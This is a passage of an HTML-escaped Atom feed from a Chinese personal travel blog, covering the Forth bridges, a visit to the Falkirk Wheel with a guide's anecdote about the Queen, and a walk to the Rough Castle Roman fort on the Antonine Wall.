        srcset=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220904_151225.2d1d2534dec7ebb1.webp 500w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220904_151225.c6a8aada55658abc.webp 1000w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220904_151225.9d758257d07dbd0f.webp 1500w&quot;
	
        src=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220904_151225.c6a8aada55658abc.webp&quot;
	alt=&quot;“手铃”&quot;
	
	
	height=&quot;3000&quot;
	width=&quot;4000&quot;
	
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;


&lt;h2 id=&quot;The_Three_Bridges&quot;&gt;The Three Bridges&lt;&#x2F;h2&gt;
&lt;p&gt;参观完圣安德鲁斯以后，一路驱车南下，回到了爱丁堡地界（Queensferry&lt;span class=&quot;halt&quot;&gt;）&lt;&#x2F;span&gt;。横跨&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Firth
of
Forth&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;的有三座桥，分别建于&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;19&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;世纪、20&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;世纪和&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;21&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;世纪。其中最漂亮的是建于&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;1883&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;年的红色，拥有三个菱形的&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Forth
bridge&lt;span class=&quot;halt&quot;&gt;。&lt;&#x2F;span&gt;&lt;span id=&#x27;fn-6&#x27; aria-hidden=&#x27;true&#x27;&gt;&lt;input type=&#x27;checkbox&#x27; hidden id=&#x27;fn-6-toggle&#x27;&#x2F;&gt;&lt;label for=&#x27;fn-6-toggle&#x27; tabindex=&#x27;0&#x27;&gt;&lt;sup&gt;[6]&lt;&#x2F;sup&gt;&lt;&#x2F;label&gt;&lt;span id=&quot;fn-6-content&quot;&gt;几天后在爱丁堡的集市上看到&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;archive.ph&#x2F;DK4Ny&quot;&gt;Ronnie
Buchanan&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;画的&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Forth
bridge&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;复制画&lt;&#x2F;a&gt;，斑驳的红色与蓝色色块在和谐地融为一体——我更喜欢那座桥了。&lt;br &#x2F;&gt;
另外苏格兰银行的&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;www.scotbanks.org.uk&#x2F;banknotes&#x2F;bank-of-scotland&#x2F;bank-of-scotland-20-the-bridge-series.html&quot;&gt;20&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;镑纸币背面&lt;&#x2F;a&gt;也是这座桥，可惜当时兜里没有他们家的纸币。&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;据说那座桥是用铆钉钉起来的，因为当时焊接技术还没普及。剩下两座桥都是白色的，形体上也没有辨识度，所以没有拍照。不过最新的那座桥是中国人建的。&lt;&#x2F;p&gt;








&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;IMG_20220904_171358.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        srcset=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220904_171358.9083f49d49a8412b.webp 500w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220904_171358.48c07d895a7cf712.webp 1000w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220904_171358.6b92899b8077509e.webp 1500w&quot;
	
        src=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220904_171358.48c07d895a7cf712.webp&quot;
	alt=&quot;Forth bridge&quot;
	
	
	height=&quot;3000&quot;
	width=&quot;4000&quot;
	
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;


&lt;p&gt;拍照时看到有人用无人机。确实应该用无人机找更好的角度。&lt;&#x2F;p&gt;
&lt;p&gt;然后我们一个团的人拍了合影，开车到圣安德鲁广场，吃了顿饭，散伙了。&lt;&#x2F;p&gt;

      
&lt;div lesspub&gt;
    &lt;br&gt;
    &lt;p&gt;
        &lt;img src=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&#x2F;assets&#x2F;ablobcatdundundun.gif&quot;
            style=&quot;width:1.2em;transform:translateY(.2em)&quot;
	    loading=&quot;lazy&quot; decoding=&quot;async&quot;&gt;复制以下链接，并粘贴到你的&lt;span
            class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Mastodon、Misskey或&lt;span
            class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;GoToSocial&lt;span
            class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;等应用的搜索栏中，即可搜到对应本文的嘟文。对嘟文进行的点赞、转发、评论，都会出现在本文底部。快去试试吧！
    &lt;&#x2F;p&gt;
    
    &lt;p&gt;
        链接：https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;note&amp;#x2F;highland-three-day-trip
        &lt;button onclick=&quot;navigator.clipboard.writeText(&#x27;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;note&amp;#x2F;highland-three-day-trip&#x27;);document.getElementById(&#x27;url-btn&#x27;).innerText=&#x27;复制成功&#x27;&quot;
            id=&#x27;url-btn&#x27;&gt;复制地址&lt;&#x2F;button&gt;
    &lt;&#x2F;p&gt;

    





    





    




&lt;&#x2F;div&gt;

    </content>
  </entry>
  <entry xml:lang="zh-hans">
    <title>Falkirk Wheel与Rough Castle</title>
    <published>2022-09-19T00:06:59+01:00</published>
    <updated>2023-08-30T11:34:04+01:00</updated>
    <author>
      <name>马鲛鱼</name>
    </author>
    <link href="https://emptystack.top/falkirk-wheel/" type="text/html" />
    <id>https://emptystack.top/falkirk-wheel/</id>
    <content type="html">
      &lt;div class=&quot;maybe-columns&quot;&gt;
&lt;p&gt;爱丁堡的路灯、电线杆、变电箱上到处是贴纸。有一张贴纸让我印象深刻：黑白的配色、奇怪的图案，以及可疑的文字：&lt;span class=&quot;halt&quot;&gt;“&lt;&#x2F;span&gt;I
SURVIVED THE FALKIRK
WHEEL&lt;span class=&quot;halt&quot;&gt;”&lt;&#x2F;span&gt;。打看到它第一眼开始，我就知道，我得去一趟&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Falkirk
Wheel。&lt;&#x2F;p&gt;





&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;PXL_20230829_103624081-optim.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        src=&quot;&amp;#x2F;assets&amp;#x2F;PXL_20230829_103624081-optim.jpg&quot;
	alt=&quot;I SURVIVED THE FALKIRK WHEEL的贴纸&quot;
	height=&quot;1024&quot;
	width=&quot;771&quot;
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;


&lt;&#x2F;div&gt;
&lt;h2 id=&quot;铁道旅行&quot;&gt;铁道旅行&lt;&#x2F;h2&gt;
&lt;p&gt;从爱丁堡出发去各种小镇，最方便的交通工具就是搭火车。正巧前几天买了本《铁道之旅&lt;span class=&quot;halt&quot;&gt;》&lt;&#x2F;span&gt;，再没有比在火车上读这本书更适合的场景了。但是当我读到&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;1820&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;年《关于一种通用铁轨道路的看法》中“铁道基础坚固、建设牢靠，任何车辆都不会颠簸”时，车已经颠得我没法拿稳&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Kindle&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;了&lt;span class=&quot;halt&quot;&gt;。&lt;&#x2F;span&gt;&lt;span id=&#x27;fn-1&#x27; aria-hidden=&#x27;true&#x27;&gt;&lt;input type=&#x27;checkbox&#x27; hidden id=&#x27;fn-1-toggle&#x27;&#x2F;&gt;&lt;label for=&#x27;fn-1-toggle&#x27; tabindex=&#x27;0&#x27;&gt;&lt;sup&gt;[1]&lt;&#x2F;sup&gt;&lt;&#x2F;label&gt;&lt;span id=&quot;fn-1-content&quot;&gt;来自金毅的翻译。&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;我只好停止阅读。&lt;&#x2F;p&gt;
&lt;p&gt;爱丁堡没有地铁，只有一条有轨电车。我认为爱丁堡的火车就相当于地铁，因为一个线路的火车不久就来一趟、上车不看座位、几分钟就停一站。而且距离也很短，这次从&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Waverley&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;坐车到&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Camelon，距离是&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;40&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;千米；北京地铁六号线则有&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;53&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;千米&lt;span class=&quot;halt&quot;&gt;。&lt;&#x2F;span&gt;&lt;span id=&#x27;fn-2&#x27; aria-hidden=&#x27;true&#x27;&gt;&lt;input type=&#x27;checkbox&#x27; hidden id=&#x27;fn-2-toggle&#x27;&#x2F;&gt;&lt;label for=&#x27;fn-2-toggle&#x27; tabindex=&#x27;0&#x27;&gt;&lt;sup&gt;[2]&lt;&#x2F;sup&gt;&lt;&#x2F;label&gt;&lt;span id=&quot;fn-2-content&quot;&gt;数据分别来自&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;www.thetrainline.com&#x2F;train-times&#x2F;edinburgh-to-camelon&quot;&gt;Trainline&lt;&#x2F;a&gt;&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;和&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;web.archive.org&#x2F;web&#x2F;20200324170047&#x2F;http:&#x2F;&#x2F;www.xinhuanet.com&#x2F;local&#x2F;2018-12&#x2F;28&#x2F;c_1123916410.htm&quot;&gt;新华网&lt;&#x2F;a&gt;。&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;价格方面有时比公交车还便宜：从&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Waverley&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;到&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Haymarket&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;的火车票是&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;1.1&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;镑到&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;2.7&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;镑起，同一段坐公交是&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;1.8&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;镑。火车窗外千篇一律的建筑和牧场，就像地铁隧道里没有创意的广告——看着无聊，不看更无聊。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;The_Falkirk_Wheel&quot;&gt;The Falkirk Wheel&lt;&#x2F;h2&gt;
&lt;p&gt;从&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Camelon&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;下车后走小半个小时就能到&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Falkirk
Wheel。这东西实在巨大，走二十分钟就可以看到了。一路上见到的人一只手可以数过来，我还以为没人去这个景点。到了才发现人很多，而且都是从另一个方向坐大巴过来的。我们到的时候似乎来了个德国老年团，还没上船就能听到船舱里的德语往外涌。&lt;&#x2F;p&gt;








&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;IMG_20220918_130425.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        srcset=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220918_130425.cfae18fb31a64f80.webp 500w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220918_130425.1612defafe9180bb.webp 1000w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220918_130425.a4694710d89e2be3.webp 1500w&quot;
	
        src=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220918_130425.1612defafe9180bb.webp&quot;
	alt=&quot;Falkirk Wheel近景&quot;
	
	
	height=&quot;4000&quot;
	width=&quot;3000&quot;
	
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;


&lt;p&gt;这里供游人体验的船一共有两艘，分别叫阿基米德与安东尼——这两人都与这&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Falkirk
Wheel&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;相关。这座升船机看起来巨大，但只需要八个电水壶的功率就可以运行。其节能的秘诀在于平衡：升船机有两个水槽，每个水槽都等重。如果一个水槽向上的同时一个水槽向下，这个系统就不需要额外的能量——当然，还是得有能量让它转起来、停下来，但这远小于单独抬升一个水槽。保持等重的秘诀就是&lt;strong&gt;阿基米德&lt;&#x2F;strong&gt;原理：浮体的重量等于排开液体的重量。&lt;&#x2F;p&gt;
&lt;p&gt;船只被抬升上去后会穿过&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Rough Castle
Tunnel。Rough
Castle&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;是罗马人建在&lt;strong&gt;安东尼&lt;&#x2F;strong&gt;长城的要塞。也就是说，船会从安东尼长城下穿过。本来我这次只是来体验升船机的，但听讲解说到这里，我就知道我得多逗留一会了。&lt;&#x2F;p&gt;








&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;IMG_20220918_135311.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        srcset=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220918_135311.9a943dc8994a010c.webp 500w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220918_135311.a4f96a6d4955f528.webp 1000w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220918_135311.0f2749a6be410a61.webp 1500w&quot;
	
        src=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220918_135311.a4f96a6d4955f528.webp&quot;
	alt=&quot;阿基米德号在升船机上层&quot;
	
	
	height=&quot;3000&quot;
	width=&quot;4000&quot;
	
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;


&lt;p&gt;这升船机从外面看魄力十足，虽然是世纪初的造物但仍然十分科幻。可是真坐在船里，又让人感觉无聊，因为它转得实在太慢了。50&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;分钟的体验，我以为会沿着&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Union
Canal&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;多走一段。结果只有抬升、过隧道、掉头、过隧道、下降。&lt;&#x2F;p&gt;








&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;IMG_20220918_121200.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        srcset=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220918_121200.12b3d2e3421e7109.webp 500w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220918_121200.b52a9881a55cb00b.webp 1000w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220918_121200.63616ab35335222f.webp 1500w&quot;
	
        src=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220918_121200.b52a9881a55cb00b.webp&quot;
	alt=&quot;阿基米德号船内视角：正在抬升&quot;
	
	
	height=&quot;3000&quot;
	width=&quot;4000&quot;
	
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;


&lt;p&gt;明天是女王下葬的日子，讲解员决定给我们讲段女王趣事。这升船机&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;2000&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;年投入使用，但官方声称&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;2002&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;才开放是因为那一年邀请到了女王剪彩。为了让女王觉得她很重要，工作人员给她安排了一个假按钮（据说是个门铃&lt;span class=&quot;halt&quot;&gt;）&lt;&#x2F;span&gt;。当女王按下按钮，工作人员就开始运转机器。可是当时没有电脑，开始之前的检查工作比较耗时，这导致女王按下按钮之后机器没反应。女王丈夫见机器没动，耳语了句：&lt;span class=&quot;halt&quot;&gt;“&lt;&#x2F;span&gt;我认为你应该用大点力按&lt;span class=&quot;halt&quot;&gt;”&lt;&#x2F;span&gt;。结果这句话因为没有闭麦也被观众听到了——据说那天围观群众人山人海，讲解开玩笑地说：&lt;span class=&quot;halt&quot;&gt;“&lt;&#x2F;span&gt;我们苏格兰人管那些凑热闹的人叫做宿醉者&lt;span class=&quot;halt&quot;&gt;”&lt;&#x2F;span&gt;——女王真的使劲再按了一遍，升船机开始运行了。&lt;&#x2F;p&gt;
&lt;p&gt;Falkirk
Wheel&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;方面原本想让女王扮演“第一个使用这座升船机的人&lt;span class=&quot;halt&quot;&gt;”&lt;&#x2F;span&gt;。但是女王的保安在还有五十分钟剪彩时突然要求亲自操作机器。这么短的时间是断然学不会的，于是保安指着一排极低的小树说那里可能有狙击手，终止了让女王上升船机的计划。讲解讲到这又开了句玩笑：&lt;span class=&quot;halt&quot;&gt;“&lt;&#x2F;span&gt;我们&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Falkirk&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;全是狙击手&lt;span class=&quot;halt&quot;&gt;！&lt;&#x2F;span&gt;”然后他说我们回去以后可以跟亲朋好友说我们做了女王一生都没做过的事情。&lt;&#x2F;p&gt;
&lt;p&gt;总之，五十分钟很快就过去了。我的结论是这个景点不必特意来，有空从爱丁堡出发坐船走&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Union
Canal&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;到格拉斯哥自然会经过它。作为单独的景点，这升船机有些支撑不住半小时火车和半小时走路。Falkirk&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;还有两头巨大不锈钢水马雕像很有名，但距离升船机挺远。在升船机高处看那三十米的雕像跟黄豆一样大，要走到那我得累死。所以吃完午饭后我走到隧道上面去找安东尼长城和罗马要塞了。&lt;&#x2F;p&gt;








&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;IMG_20220918_141152.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        srcset=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220918_141152.c667ed38cd11da8a.webp 500w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220918_141152.46f1912013715b43.webp 1000w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220918_141152.3b1f5b5c28426c4a.webp 1500w&quot;
	
        src=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220918_141152.46f1912013715b43.webp&quot;
	alt=&quot;安东尼号在升船机上层&quot;
	
	
	height=&quot;3000&quot;
	width=&quot;4000&quot;
	
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;


&lt;p&gt;一些视频：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;onedrive.live.com&#x2F;?authkey=%21ANh%2DWPAGNk08In0&amp;amp;cid=C71C65A26DDCE6F9&amp;amp;id=C71C65A26DDCE6F9%21182842&amp;amp;parId=C71C65A26DDCE6F9%21182825&amp;amp;o=OneUp&quot;&gt;水槽下降&lt;&#x2F;a&gt;，29&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;秒；&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;onedrive.live.com&#x2F;?authkey=%21AEFauz6r2AAEKHE&amp;amp;cid=C71C65A26DDCE6F9&amp;amp;id=C71C65A26DDCE6F9%21182843&amp;amp;parId=C71C65A26DDCE6F9%21182825&amp;amp;o=OneUp&quot;&gt;进入水槽的视频&lt;&#x2F;a&gt;，52&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;秒；&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;onedrive.live.com&#x2F;?authkey=%21AFKUos67tpHw4nE&amp;amp;cid=C71C65A26DDCE6F9&amp;amp;id=C71C65A26DDCE6F9%21182841&amp;amp;parId=C71C65A26DDCE6F9%21182825&amp;amp;o=OneUp&quot;&gt;安东尼号被抬上来&lt;&#x2F;a&gt;，两分&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;29&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;秒。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h2 id=&quot;The_Antonine_Wall_&amp;amp;_Rough_Castle_Roman_Fort&quot;&gt;The Antonine Wall &amp;amp; Rough Castle Roman Fort&lt;&#x2F;h2&gt;
&lt;p&gt;谷歌地图说从&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Falkirk
Wheel&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;到&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Rough
Castle&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;要一小时出头，这纯粹是谷歌地图收录不全。顺着&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Falkirk
Wheel&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;旁的土坡上去，沿着路标走半小时左右就可以到&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Rough
Castle。&lt;&#x2F;p&gt;
&lt;p&gt;沿途有个裸露河床一直伴随我们，河床南岸就曾经耸立着安东尼长城。&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;www.antoninewall.org&#x2F;about-wall&#x2F;building-wall&#x2F;materials&quot;&gt;安东尼长城是用土做的&lt;&#x2F;a&gt;，而且建成没几年罗马人就撤退了。可能因此，如今已经看不到安东尼长城的遗迹了。&lt;&#x2F;p&gt;








&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;IMG_20220918_141653.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        srcset=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220918_141653.538f40735b329be0.webp 500w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220918_141653.318776709d28439e.webp 1000w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220918_141653.18d7dc255250b94e.webp 1500w&quot;
	
        src=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220918_141653.318776709d28439e.webp&quot;
	alt=&quot;通往Rough Castle的路标&quot;
	
	
	height=&quot;3000&quot;
	width=&quot;4000&quot;
	
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;


&lt;p&gt;&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;www.antoninewall.org&#x2F;de&#x2F;visiting-the-wall&#x2F;things-to-see-and-do&#x2F;site-by-site&#x2F;rough-castle-bonnybridge&quot;&gt;安东尼长城官网&lt;&#x2F;a&gt;说如果你只能去一处遗迹，那这里就是最佳选择。但我的体验是：一片比较平整的高地上立着好多讲解牌。讲解牌告诉你这里是粮仓、那里是浴场。可是目力所及，只有草地、草地和遛狗人不清理的狗屎。来这参观一次没看到罗马的一砖一瓦，倒是见识到了数目繁多的苍蝇。事实上根据讲解牌的配图，考古学家已经挖出&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Hypocaust&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;的结构了。但他们似乎挖出文物后就把遗迹又填回去了，这也导致今天我啥也看不到。&lt;&#x2F;p&gt;








&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;IMG_20220918_143104.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        srcset=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220918_143104.d44e56d2c9ee6ea6.webp 500w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220918_143104.60dfe4bab3e51c23.webp 1000w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220918_143104.67157079719530db.webp 1500w&quot;
	
        src=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220918_143104.60dfe4bab3e51c23.webp&quot;
	alt=&quot;讲解牌说这是长官的住处，当只能看到草地&quot;
	
	
	height=&quot;3000&quot;
	width=&quot;4000&quot;
	
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;


&lt;p&gt;建筑物是基本看不见了，但是还能看到&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Rampart、Lilia&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;以及长城外的河道。这些对地形做出的变化似乎不太容易被掩埋。Rampart&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;是交替出现的土堆与土坑：随便画几条“平行”的曲线，实线部分高，空白部分低，就是&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Rampart&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;的俯视图。我没有照最明显的部分，但下图中间还是能依稀看出的。&lt;&#x2F;p&gt;








&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;IMG_20220918_142848.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        srcset=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220918_142848.deb78b6aa57cdf41.webp 500w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220918_142848.826c9b389623b748.webp 1000w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220918_142848.b0961fb0317d6e72.webp 1500w&quot;
	
        src=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220918_142848.826c9b389623b748.webp&quot;
	alt=&quot;英文、拉丁文双语的警告牌与远处的Rampart&quot;
	
	
	height=&quot;3000&quot;
	width=&quot;4000&quot;
	
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;


